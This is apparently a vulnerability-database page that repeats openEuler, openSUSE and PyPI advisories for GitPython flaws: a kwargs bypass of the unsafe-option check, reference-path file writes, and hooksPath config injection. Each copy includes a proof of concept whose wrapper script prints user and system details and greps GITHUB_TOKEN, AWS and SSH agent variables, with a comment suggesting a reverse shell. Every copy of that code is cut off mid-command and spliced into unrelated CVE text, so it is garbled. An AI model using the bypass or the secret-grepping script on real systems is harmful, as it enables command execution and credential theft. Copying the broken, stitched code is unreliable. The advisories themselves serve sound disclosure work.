\u0026quot;whoami=$(id)\u0026quot;\n echo \u0026quot;cwd=$(pwd)\u0026quot;\n echo \u0026quot;uname=$(uname -a)\u0026quot;\n printf \u0026apos;argv=\u0026apos;; printf \u0026apos;\u0026lt;%s\u0026gt;\u0026apos; \u0026quot;$@\u0026quot;; echo\n env | grep -E \u0026apos;^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=\u0026apos; | sed \u0026apos;s/=.*$/=(CVE-2026-42215)\n\nA vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository\u0026apos;s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations.(CVE-2026-44243)\n\n`GitConfigParser.set_value()` passes values to Python\u0026apos;s `configparser` without validating for newlines. GitPython\u0026apos;s own `_write()` converts embedded newlines into indented continuation lines (e.g. `\\\\n` becomes `\\\\n\\\\t`), but Git still accepts an indented `[core]` stanza as a section header \u2014 so the injected `core.hooksPath` becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.\n\nThe vulnerability is not merely malformed config output: GitPython\u0026apos;s own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented `[core]` stanza as a section header, so the injected `core.hooksPath` becomes effective configuration.\n\nThis was found while auditing MLRun\u0026apos;s `project.push()` method, which passes `author_name` and `author_email` directly to `config_writer().set_value()` with no sanitization. Both parameters cross a trust boundary \u2014 they are caller-supplied API inputs that end up in `.git/config`.\n\nImpact: This is persistent repo config poisoning. Any user who can supply `author_name` or `author_email` to an application calling `config_writer().set_value()` can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the `.git/config` of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.(CVE-2026-44244)",
"id": "OESA-2026-2306",
"modified": "2026-08-06T11:11:16Z",
"published": "2026-05-15T11:11:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-2306"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42215"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44243"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44244"
}
],
"schema_version": "1.7.2",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "python-GitPython security update",
"upstream": [
"CVE-2026-42215",
"CVE-2026-44243",
"CVE-2026-44244"
]
}
OESA-2026-2307 (CVE-2026-42215)
Vulnerability from osv_openeuler – Published: 2026-05-15 11:11 – Updated: 2026-08-06 11:11 – Source websiteGitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.
Security Fix(es):
Summary
GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False.
Details
GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:
git/repo/base.py:145-153marks clone options such as--upload-pack,-u,--config, and-cas unsafe.git/remote.py:535-548marks fetch/pull/push options such as--upload-pack,--receive-pack, and--execas unsafe.
The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:
Repo.clone_from()checkslist(kwargs.keys())ingit/repo/base.py:1387-1390Remote.fetch()checkslist(kwargs.keys())ingit/remote.py:1070-1071Remote.pull()checkslist(kwargs.keys())ingit/remote.py:1124-1125Remote.push()checkslist(kwargs.keys())ingit/remote.py:1197-1198
That validation is performed by Git.check_unsafe_options() in git/cmd.py:948-961. The validator correctly blocks option names such as upload-pack, receive-pack, and exec.
Later, GitPython converts Python kwargs into Git command-line flags in Git.transform_kwarg() at git/cmd.py:1471-1484. During that step, underscore-form kwargs are dashified:
upload_pack=...becomes--upload-pack=...receive_pack=...becomes--receive-pack=...
Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.
In practice:
remote.fetch(**{"upload-pack": helper})is blocked withUnsafeOptionErrorremote.fetch(upload_pack=helper)is allowed and reaches helper execution
The same bypass works for:
Repo.clone_from(origin, out, upload_pack=helper)
repo.remote("origin").fetch(upload_pack=helper)
repo.remote("origin").pull(upload_pack=helper)
repo.remote("origin").push(receive_pack=helper)
This does not appear to affect every unsafe option. For example, exec= is already rejected because the raw kwarg name exec matches the blocked option name before normalization.
Existing tests cover the hyphenated form, not the vulnerable underscore form. For example:
test/test_clone.py:129-136checks{"upload-pack": ...}test/test_remote.py:830-833checks{"upload-pack": ...}test/test_remote.py:968-975checks{"receive-pack": ...}
Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.
PoC
- Create and activate a virtual environment in the repository root:
python3 -m venv .venv-sec
.venv-sec/bin/pip install setuptools gitdb
source ./.venv-sec/bin/activate
- make a new python file and put the following in there, then run it:
```python import os import stat import subprocess import tempfile
from git import Repo from git.exc import UnsafeOptionError
Setup: create isolated repositories so the PoC uses a normal fetch flow.
base = tempfile.mkdtemp(prefix="gp-poc-risk-") origin = os.path.join(base, "origin.git") producer = os.path.join(base, "producer") victim = os.path.join(base, "victim") proof = os.path.join(base, "proof.txt") wrapper = os.path.join(base, "wrapper.sh")
Setup: this wrapper is just to demo things you can do, not required for the exploit to work
you could also do something like an SSH reverse shell, really anything
with open(wrapper, "w") as f: f.write(f"""#!/bin/sh {{ echo "code_exec=1" echo "whoami=$(id)" echo "cwd=$(pwd)" echo "uname=$(uname -a)" printf 'argv='; printf '<%s>' "$@"; echo env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=' | sed 's/=.*$/=(CVE-2026-42215)
A vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository's .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations.(CVE-2026-44243)
GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \\n becomes \\n\\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.
The vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented [core] stanza as a section header, so the injected core.hooksPath becomes effective configuration.
This was found while auditing MLRun's project.push() method, which passes author_name and author_email directly to config_writer().set_value() with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in .git/config.
Impact: This is persistent repo config poisoning. Any user who can supply author_name or author_email to an application calling config_writer().set_value() can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the .git/config of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.(CVE-2026-44244)
| URL | Type | |
|---|---|---|
{
"affected": [
{
"ecosystem_specific": {
"noarch": [
"python-GitPython-help-3.1.49-1.oe2403sp1.noarch.rpm",
"python3-GitPython-3.1.49-1.oe2403sp1.noarch.rpm"
],
"src": [
"python-GitPython-3.1.49-1.oe2403sp1.src.rpm"
]
},
"package": {
"ecosystem": "openEuler:24.03-LTS-SP1",
"name": "python-GitPython",
"purl": "pkg:rpm/openEuler/python-GitPython\u0026distro=openEuler-24.03-LTS-SP1"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.49-1.oe2403sp1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"severity": "High"
},
"details": "GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.\r\n\r\nSecurity Fix(es):\n\n### Summary\nGitPython blocks dangerous Git options such as `--upload-pack` and `--receive-pack` by default, but the equivalent Python kwargs `upload_pack` and `receive_pack` bypass that check. If an application passes attacker-controlled kwargs into `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`, this leads to arbitrary command execution even when `allow_unsafe_options` is left at its default value of `False`.\n\n### Details\nGitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:\n\n- `git/repo/base.py:145-153` marks clone options such as `--upload-pack`, `-u`, `--config`, and `-c` as unsafe.\n- `git/remote.py:535-548` marks fetch/pull/push options such as `--upload-pack`, `--receive-pack`, and `--exec` as unsafe.\n\nThe vulnerable API paths check the raw kwarg names before they\u0026apos;re its normalized into command-line flags:\n\n- `Repo.clone_from()` checks `list(kwargs.keys())` in `git/repo/base.py:1387-1390`\n- `Remote.fetch()` checks `list(kwargs.keys())` in `git/remote.py:1070-1071`\n- `Remote.pull()` checks `list(kwargs.keys())` in `git/remote.py:1124-1125`\n- `Remote.push()` checks `list(kwargs.keys())` in `git/remote.py:1197-1198`\n\nThat validation is performed by `Git.check_unsafe_options()` in `git/cmd.py:948-961`. The validator correctly blocks option names such as `upload-pack`, `receive-pack`, and `exec`.\n\nLater, GitPython converts Python kwargs into Git command-line flags in `Git.transform_kwarg()` at `git/cmd.py:1471-1484`. During that step, underscore-form kwargs are dashified:\n\n- `upload_pack=...` becomes `--upload-pack=...`\n- `receive_pack=...` becomes `--receive-pack=...`\n\nBecause the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.\n\nIn practice:\n\n- `remote.fetch(**{\u0026quot;upload-pack\u0026quot;: helper})` is blocked with `UnsafeOptionError`\n- `remote.fetch(upload_pack=helper)` is allowed and reaches helper execution\n\nThe same bypass works for:\n\n```python\nRepo.clone_from(origin, out, upload_pack=helper)\nrepo.remote(\u0026quot;origin\u0026quot;).fetch(upload_pack=helper)\nrepo.remote(\u0026quot;origin\u0026quot;).pull(upload_pack=helper)\nrepo.remote(\u0026quot;origin\u0026quot;).push(receive_pack=helper)\n```\n\nThis does not appear to affect every unsafe option. For example, `exec=` is already rejected because the raw kwarg name `exec` matches the blocked option name before normalization.\n\nExisting tests cover the hyphenated form, not the vulnerable underscore form. For example:\n\n- `test/test_clone.py:129-136` checks `{\u0026quot;upload-pack\u0026quot;: ...}`\n- `test/test_remote.py:830-833` checks `{\u0026quot;upload-pack\u0026quot;: ...}`\n- `test/test_remote.py:968-975` checks `{\u0026quot;receive-pack\u0026quot;: ...}`\n\nThose tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.\n\n### PoC\n1. Create and activate a virtual environment in the repository root:\n\n```bash\npython3 -m venv .venv-sec\n.venv-sec/bin/pip install setuptools gitdb\nsource ./.venv-sec/bin/activate\n```\n\n2. make a new python file and put the following in there, then run it:\n\n```python\nimport os\nimport stat\nimport subprocess\nimport tempfile\n\nfrom git import Repo\nfrom git.exc import UnsafeOptionError\n\n# Setup: create isolated repositories so the PoC uses a normal fetch flow.\nbase = tempfile.mkdtemp(prefix=\u0026quot;gp-poc-risk-\u0026quot;)\norigin = os.path.join(base, \u0026quot;origin.git\u0026quot;)\nproducer = os.path.join(base, \u0026quot;producer\u0026quot;)\nvictim = os.path.join(base, \u0026quot;victim\u0026quot;)\nproof = os.path.join(base, \u0026quot;proof.txt\u0026quot;)\nwrapper = os.path.join(base, \u0026quot;wrapper.sh\u0026quot;)\n\n# Setup: this wrapper is just to demo things you can do, not required for the exploit to work\n# you could also do something like an SSH reverse shell, really anything\nwith open(wrapper, \u0026quot;w\u0026quot;) as f:\n f.write(f\u0026quot;\u0026quot;\u0026quot;#!/bin/sh\n{{\n echo \u0026quot;code_exec=1\u0026quot;\n echo \u0026quot;whoami=$(id)\u0026quot;\n echo \u0026quot;cwd=$(pwd)\u0026quot;\n echo \u0026quot;uname=$(uname -a)\u0026quot;\n printf \u0026apos;argv=\u0026apos;; printf \u0026apos;\u0026lt;%s\u0026gt;\u0026apos; \u0026quot;$@\u0026quot;; echo\n env | grep -E \u0026apos;^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=\u0026apos; | sed \u0026apos;s/=.*$/=(CVE-2026-42215)\n\nA vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository\u0026apos;s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations.(CVE-2026-44243)\n\n`GitConfigParser.set_value()` passes values to Python\u0026apos;s `configparser` without validating for newlines. GitPython\u0026apos;s own `_write()` converts embedded newlines into indented continuation lines (e.g. `\\\\n` becomes `\\\\n\\\\t`), but Git still accepts an indented `[core]` stanza as a section header \u2014 so the injected `core.hooksPath` becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.\n\nThe vulnerability is not merely malformed config output: GitPython\u0026apos;s own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented `[core]` stanza as a section header, so the injected `core.hooksPath` becomes effective configuration.\n\nThis was found while auditing MLRun\u0026apos;s `project.push()` method, which passes `author_name` and `author_email` directly to `config_writer().set_value()` with no sanitization. Both parameters cross a trust boundary \u2014 they are caller-supplied API inputs that end up in `.git/config`.\n\nImpact: This is persistent repo config poisoning. Any user who can supply `author_name` or `author_email` to an application calling `config_writer().set_value()` can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the `.git/config` of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.(CVE-2026-44244)",
"id": "OESA-2026-2307",
"modified": "2026-08-06T11:11:16Z",
"published": "2026-05-15T11:11:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-2307"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42215"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44243"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44244"
}
],
"schema_version": "1.7.2",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "python-GitPython security update",
"upstream": [
"CVE-2026-42215",
"CVE-2026-44243",
"CVE-2026-44244"
]
}
OESA-2026-2308 (CVE-2026-42215)
Vulnerability from osv_openeuler – Published: 2026-05-15 11:11 – Updated: 2026-08-06 11:11 – Source websiteGitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.
Security Fix(es):
Summary
GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False.
Details
GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:
git/repo/base.py:145-153marks clone options such as--upload-pack,-u,--config, and-cas unsafe.git/remote.py:535-548marks fetch/pull/push options such as--upload-pack,--receive-pack, and--execas unsafe.
The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:
Repo.clone_from()checkslist(kwargs.keys())ingit/repo/base.py:1387-1390Remote.fetch()checkslist(kwargs.keys())ingit/remote.py:1070-1071Remote.pull()checkslist(kwargs.keys())ingit/remote.py:1124-1125Remote.push()checkslist(kwargs.keys())ingit/remote.py:1197-1198
That validation is performed by Git.check_unsafe_options() in git/cmd.py:948-961. The validator correctly blocks option names such as upload-pack, receive-pack, and exec.
Later, GitPython converts Python kwargs into Git command-line flags in Git.transform_kwarg() at git/cmd.py:1471-1484. During that step, underscore-form kwargs are dashified:
upload_pack=...becomes--upload-pack=...receive_pack=...becomes--receive-pack=...
Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.
In practice:
remote.fetch(**{"upload-pack": helper})is blocked withUnsafeOptionErrorremote.fetch(upload_pack=helper)is allowed and reaches helper execution
The same bypass works for:
Repo.clone_from(origin, out, upload_pack=helper)
repo.remote("origin").fetch(upload_pack=helper)
repo.remote("origin").pull(upload_pack=helper)
repo.remote("origin").push(receive_pack=helper)
This does not appear to affect every unsafe option. For example, exec= is already rejected because the raw kwarg name exec matches the blocked option name before normalization.
Existing tests cover the hyphenated form, not the vulnerable underscore form. For example:
test/test_clone.py:129-136checks{"upload-pack": ...}test/test_remote.py:830-833checks{"upload-pack": ...}test/test_remote.py:968-975checks{"receive-pack": ...}
Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.
PoC
- Create and activate a virtual environment in the repository root:
python3 -m venv .venv-sec
.venv-sec/bin/pip install setuptools gitdb
source ./.venv-sec/bin/activate
- make a new python file and put the following in there, then run it:
```python import os import stat import subprocess import tempfile
from git import Repo from git.exc import UnsafeOptionError
Setup: create isolated repositories so the PoC uses a normal fetch flow.
base = tempfile.mkdtemp(prefix="gp-poc-risk-") origin = os.path.join(base, "origin.git") producer = os.path.join(base, "producer") victim = os.path.join(base, "victim") proof = os.path.join(base, "proof.txt") wrapper = os.path.join(base, "wrapper.sh")
Setup: this wrapper is just to demo things you can do, not required for the exploit to work
you could also do something like an SSH reverse shell, really anything
with open(wrapper, "w") as f: f.write(f"""#!/bin/sh {{ echo "code_exec=1" echo "whoami=$(id)" echo "cwd=$(pwd)" echo "uname=$(uname -a)" printf 'argv='; printf '<%s>' "$@"; echo env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=' | sed 's/=.*$/=(CVE-2026-42215)
A vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository's .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations.(CVE-2026-44243)
GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \\n becomes \\n\\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.
The vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented [core] stanza as a section header, so the injected core.hooksPath becomes effective configuration.
This was found while auditing MLRun's project.push() method, which passes author_name and author_email directly to config_writer().set_value() with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in .git/config.
Impact: This is persistent repo config poisoning. Any user who can supply author_name or author_email to an application calling config_writer().set_value() can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the .git/config of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.(CVE-2026-44244)
| URL | Type | |
|---|---|---|
{
"affected": [
{
"ecosystem_specific": {
"noarch": [
"python-GitPython-help-3.1.49-1.oe2403sp3.noarch.rpm",
"python3-GitPython-3.1.49-1.oe2403sp3.noarch.rpm"
],
"src": [
"python-GitPython-3.1.49-1.oe2403sp3.src.rpm"
]
},
"package": {
"ecosystem": "openEuler:24.03-LTS-SP3",
"name": "python-GitPython",
"purl": "pkg:rpm/openEuler/python-GitPython\u0026distro=openEuler-24.03-LTS-SP3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.49-1.oe2403sp3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"severity": "High"
},
"details": "GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.\r\n\r\nSecurity Fix(es):\n\n### Summary\nGitPython blocks dangerous Git options such as `--upload-pack` and `--receive-pack` by default, but the equivalent Python kwargs `upload_pack` and `receive_pack` bypass that check. If an application passes attacker-controlled kwargs into `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`, this leads to arbitrary command execution even when `allow_unsafe_options` is left at its default value of `False`.\n\n### Details\nGitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:\n\n- `git/repo/base.py:145-153` marks clone options such as `--upload-pack`, `-u`, `--config`, and `-c` as unsafe.\n- `git/remote.py:535-548` marks fetch/pull/push options such as `--upload-pack`, `--receive-pack`, and `--exec` as unsafe.\n\nThe vulnerable API paths check the raw kwarg names before they\u0026apos;re its normalized into command-line flags:\n\n- `Repo.clone_from()` checks `list(kwargs.keys())` in `git/repo/base.py:1387-1390`\n- `Remote.fetch()` checks `list(kwargs.keys())` in `git/remote.py:1070-1071`\n- `Remote.pull()` checks `list(kwargs.keys())` in `git/remote.py:1124-1125`\n- `Remote.push()` checks `list(kwargs.keys())` in `git/remote.py:1197-1198`\n\nThat validation is performed by `Git.check_unsafe_options()` in `git/cmd.py:948-961`. The validator correctly blocks option names such as `upload-pack`, `receive-pack`, and `exec`.\n\nLater, GitPython converts Python kwargs into Git command-line flags in `Git.transform_kwarg()` at `git/cmd.py:1471-1484`. During that step, underscore-form kwargs are dashified:\n\n- `upload_pack=...` becomes `--upload-pack=...`\n- `receive_pack=...` becomes `--receive-pack=...`\n\nBecause the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.\n\nIn practice:\n\n- `remote.fetch(**{\u0026quot;upload-pack\u0026quot;: helper})` is blocked with `UnsafeOptionError`\n- `remote.fetch(upload_pack=helper)` is allowed and reaches helper execution\n\nThe same bypass works for:\n\n```python\nRepo.clone_from(origin, out, upload_pack=helper)\nrepo.remote(\u0026quot;origin\u0026quot;).fetch(upload_pack=helper)\nrepo.remote(\u0026quot;origin\u0026quot;).pull(upload_pack=helper)\nrepo.remote(\u0026quot;origin\u0026quot;).push(receive_pack=helper)\n```\n\nThis does not appear to affect every unsafe option. For example, `exec=` is already rejected because the raw kwarg name `exec` matches the blocked option name before normalization.\n\nExisting tests cover the hyphenated form, not the vulnerable underscore form. For example:\n\n- `test/test_clone.py:129-136` checks `{\u0026quot;upload-pack\u0026quot;: ...}`\n- `test/test_remote.py:830-833` checks `{\u0026quot;upload-pack\u0026quot;: ...}`\n- `test/test_remote.py:968-975` checks `{\u0026quot;receive-pack\u0026quot;: ...}`\n\nThose tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.\n\n### PoC\n1. Create and activate a virtual environment in the repository root:\n\n```bash\npython3 -m venv .venv-sec\n.venv-sec/bin/pip install setuptools gitdb\nsource ./.venv-sec/bin/activate\n```\n\n2. make a new python file and put the following in there, then run it:\n\n```python\nimport os\nimport stat\nimport subprocess\nimport tempfile\n\nfrom git import Repo\nfrom git.exc import UnsafeOptionError\n\n# Setup: create isolated repositories so the PoC uses a normal fetch flow.\nbase = tempfile.mkdtemp(prefix=\u0026quot;gp-poc-risk-\u0026quot;)\norigin = os.path.join(base, \u0026quot;origin.git\u0026quot;)\nproducer = os.path.join(base, \u0026quot;producer\u0026quot;)\nvictim = os.path.join(base, \u0026quot;victim\u0026quot;)\nproof = os.path.join(base, \u0026quot;proof.txt\u0026quot;)\nwrapper = os.path.join(base, \u0026quot;wrapper.sh\u0026quot;)\n\n# Setup: this wrapper is just to demo things you can do, not required for the exploit to work\n# you could also do something like an SSH reverse shell, really anything\nwith open(wrapper, \u0026quot;w\u0026quot;) as f:\n f.write(f\u0026quot;\u0026quot;\u0026quot;#!/bin/sh\n{{\n echo \u0026quot;code_exec=1\u0026quot;\n echo \u0026quot;whoami=$(id)\u0026quot;\n echo \u0026quot;cwd=$(pwd)\u0026quot;\n echo \u0026quot;uname=$(uname -a)\u0026quot;\n printf \u0026apos;argv=\u0026apos;; printf \u0026apos;\u0026lt;%s\u0026gt;\u0026apos; \u0026quot;$@\u0026quot;; echo\n env | grep -E \u0026apos;^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=\u0026apos; | sed \u0026apos;s/=.*$/=(CVE-2026-42215)\n\nA vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository\u0026apos;s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations.(CVE-2026-44243)\n\n`GitConfigParser.set_value()` passes values to Python\u0026apos;s `configparser` without validating for newlines. GitPython\u0026apos;s own `_write()` converts embedded newlines into indented continuation lines (e.g. `\\\\n` becomes `\\\\n\\\\t`), but Git still accepts an indented `[core]` stanza as a section header \u2014 so the injected `core.hooksPath` becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.\n\nThe vulnerability is not merely malformed config output: GitPython\u0026apos;s own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented `[core]` stanza as a section header, so the injected `core.hooksPath` becomes effective configuration.\n\nThis was found while auditing MLRun\u0026apos;s `project.push()` method, which passes `author_name` and `author_email` directly to `config_writer().set_value()` with no sanitization. Both parameters cross a trust boundary \u2014 they are caller-supplied API inputs that end up in `.git/config`.\n\nImpact: This is persistent repo config poisoning. Any user who can supply `author_name` or `author_email` to an application calling `config_writer().set_value()` can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the `.git/config` of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.(CVE-2026-44244)",
"id": "OESA-2026-2308",
"modified": "2026-08-06T11:11:16Z",
"published": "2026-05-15T11:11:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-2308"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42215"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44243"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44244"
}
],
"schema_version": "1.7.2",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "python-GitPython security update",
"upstream": [
"CVE-2026-42215",
"CVE-2026-44243",
"CVE-2026-44244"
]
}
OPENSUSE-SU-2026:10758-1
Vulnerability from csaf_opensuse - Published: 2026-05-12 00:00 - Updated: 2026-09-17 17:04OPENSUSE-SU-2026:20777-1
Vulnerability from csaf_opensuse - Published: 2026-05-18 09:44 - Updated: 2026-09-17 17:32PYSEC-2026-2160
Vulnerability from pysec - Published: 2026-05-07 19:16 - Updated: 2026-07-13 05:48GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47.
| Name | purl | gitpython | pkg:pypi/gitpython |
|---|
{
"affected": [
{
"ecosystem_specific": {},
"package": {
"ecosystem": "PyPI",
"name": "gitpython",
"purl": "pkg:pypi/gitpython"
},
"ranges": [
{
"events": [
{
"introduced": "3.1.30"
},
{
"fixed": "3.1.47"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"3.1.30",
"3.1.31",
"3.1.32",
"3.1.33",
"3.1.34",
"3.1.35",
"3.1.36",
"3.1.37",
"3.1.38",
"3.1.40",
"3.1.41",
"3.1.42",
"3.1.43",
"3.1.44",
"3.1.45",
"3.1.46"
]
}
],
"aliases": [
"CVE-2026-42215",
"GHSA-rpm5-65cw-6hj4"
],
"details": "GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47.",
"id": "PYSEC-2026-2160",
"modified": "2026-07-13T05:48:53.336190Z",
"published": "2026-05-07T19:16:01.640Z",
"references": [
{
"type": "FIX",
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47"
},
{
"type": "EVIDENCE",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
